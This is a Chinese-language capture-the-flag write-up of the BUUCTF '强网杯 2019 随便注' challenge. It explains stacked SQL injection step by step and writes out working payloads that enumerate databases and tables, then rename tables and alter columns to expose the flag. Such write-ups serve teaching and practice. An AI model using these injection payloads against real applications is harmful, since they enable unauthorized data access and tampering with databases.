BUUCTF&[强网杯 2019]随便注(细节详解WP)

[强网杯 2019]随便注

image-20211209115434160

接下来尝试注入寻找注入点

1' or 1=1 %23

image-20211209115616992

注列数,发现当order by 3的时候报错,order by 2没有说明列数为2

image-20211209115855152

image-20211209120000967

尝试使用联合注入看回显,结果返回了一个正则匹配的过滤,这里我们可以尝试进行堆叠注入

堆叠注入就是同时执行多条sql语句,堆叠堆叠,堆叠的就是这个sql语句,直接构造出多条sql语句,然后一次执行,每一条之间通过分号分割

开始构造payload:

?inject=1';show databases;#

image-20211209124515825

显然这其中最可疑的数据库就是supersqli和CTFtraining了,我们分别打开

image-20211209124744466

image-20211209124750101

然后进一步分别查看一下他们的列名

image-20211209125140575

可以看到ctftraining里面放的是一个假的flag,真的flag在supersqli这个表里面,这个表一共有两个表,分别是

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

查看表的列名发现这里flag就放在’1919810931114514’这张表里面,但是这个flag字段的内容却没有回显

这个注意一个点,就是当查询的表名为数字时,要将表名用反引号给包裹起来

1'; show columns from `1919810931114514 `; %23
array(6) {    //words表的列名
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
array(6) {         //1919810931114514表的列名
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

首先过滤已经把select写死了,说以我们不能直接通过打印的方式将字段打印出来,但是看到最开始的时候我们构造的payload:**1’ or 1=1 #**可以回显,这里回显的原理:

可以猜出这条查询语句的源码大概是:
select data from supersqli.words where id = '$参数';
当传入的参数为1'or 1=1 %23的时候这条SQL命令就变成了=>
select * from supersqli.words where id = '1'or 1=1 %23';
or是一个逻辑运算符,当or前或者or后面的条件为真的时候就全为真,所以加上一个or 1=1的时候这条语句就恒为真,不管这个id是否等于1他都是正确可执行的,那就相当于查询了所有id所对应行的data值

image-20211209132656060

所以我们可以利用这个恒为真的逻辑运算符,这里有一种思路(这大佬思路真的太巧妙了)就是,将这个纯数字表的名字换成,这个sql语句要查询的表的名字,然后把其中的flag列名换成这个待查询的列的名字,再将这表进行补全,也就是添加一个id的列,然后通过or 1=1将这个修改后的words里面的所有字段给查询出来

我称这个思想为金蝉进壳

  1. 将words的表名改成其它名字
  2. 将1919810931114514表名改成"words"
  3. 将flag列名改成id或者data
  4. 在将这个新的words表插入一个列,即id或者data
  5. 然后用1’ or 1=1 #进行查询这个新表words里面的内容

这里就要考验到我们对sql数据库的增删查改的能力了,当然我也不是很会

rename: 修改名字
使用方法:rename table(修改的类型) tableA(待修改的表等) to tableB(重命名后的名字)
alter:队列进行操作
使用方法:alter table table[表名] add column[列名] type[数据类型] //(添加列)
		alter table table[表名] change columnA[原列名] column[修改后列名] type[数据类型] //改变列名1
		alter table table[表名] rename columnA[原列名] column[修改后列名]  //改变列名2,(不改变数据类型)
		alter table table[表名] alter column column[列名] type[修改后的数据类型] //修改列的数据类型
		alter table table[表名] drop column[列名] type[数据类型]  //删除表中的某一列
		SQL限制条件:
        alter table table[表名] modify column[列名] int not null  //是某一列不能存储null的字段
        alter table table[表名] modify column[列名] int null     //解除对not null的限制
        alter table table[表名] add column[列名] primary key (id) 
        //- NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
        alter table table[表名] add unique (id);
        //增加unique约束。保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束)
        alter table table[表名] add check (限制条件); //限制列的值得范围
        alter table table[表名] alter column[列名] set default '默认值' //设置默认值,即未给列赋值时的默认值
		alter table table[表名] add constraint ab_c default '默认值' for column[列名] //
		alter table table[表名] add column[列名] auto_increment    //自动赋值,默认从1开始
		alter table table[表名] add column[列名] foreign key //保证一个表中的数据匹配另一个表中的值的参照完整性

构造出payload如下:

1';rename table words to word111;rename table `1919810931114514` to words;alter table words change flag data char(50);alter table words add id int not null auto_increment primary key; %23

这个注意一个点,不能一条一条得写命令,这样会造成前面语法报错后后面的语句就会被忽略掉了

举个例子:

假如这道题的内部源码就是select data from supersqli.words where id = '$参数';

而我们通过堆叠注入一次执行了以下代码

  • ';use supersqli;%23
  • ';rename table words to word;%23

这就相当于执行了第一个步骤,将words表的表名改为其它任意名字,然后我接下来进行第二步,将flag所在的表1919810931114514改成words

  • ';rename table 1919810931114514 to words;%23

结果回显这个结果

image-20211209221620440

他说words这个表已经不存在了,按常来说我修改1919810931114514这个表的名字关words这个表存不存在有什么关系,这是因为在执行这条sql语句之前先执行了select data from supersqli.words where id = ‘1’;这一条语句,而由于words这张表已经被我修改成其它名字导致了这条查询语句错误,这个数据库中同时执行多条命令时,如果其中一条命令报错了,它就会报错信息抛出,然后结束进程,后面不管有多少条命令,它都不会再去看了

而我们直接在payload中构造多条sql命令就不会存在每执行一次命令就查询一次words表,也就不会管它会不会报错的问题

接下来我在解析一下payload中每一条sql命令

  • rename table words to word111; //将words表名更改为word111
  • rename table1919810931114514to words //将1919810931114514表名改为words
  • alter table words change flag data char(50); //将words表中的flag列改成数据类型为char(50)名字为data的新列,关于sql字段的数据类型可自行百度,我后面估计会写一篇关于sql数据库增删查改的文章,到时候再详细介绍
  • alter table words add id int not null auto_increment primary key; //在words表中创建一个列,名字为id,(int not null auto_increment primary key)这些都是对这个列的约束条件
int: 初始化id列的数据类型为int整数型
auto_increment: 自增长长,在这个题中可以理解为给id创建几个行,或者理解为这个字段的数值,假如这个表里面原先只有一个列,为flag,且它有3行数值,然后通过这个auto_increment就可以自动添加三行,值分别为1,2,3(至于为什么是1,2,3这就涉及到这个约束条件的原理了,可以自行搜索sql约束条件相关的知识去了解它的原理),通常这个约束条件会配合primary key这个约束条件一同使用,因为这个自增长功能只能用于有键标识的列
primary key: 改id字段/列添加一个主键,便于让他使用auto自增长功能

修改完表之后就看了使用or 1=1恒等式进行打印这个修改后的“words”表了,当然flag就在这个data列里面
image-20211209224046933

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>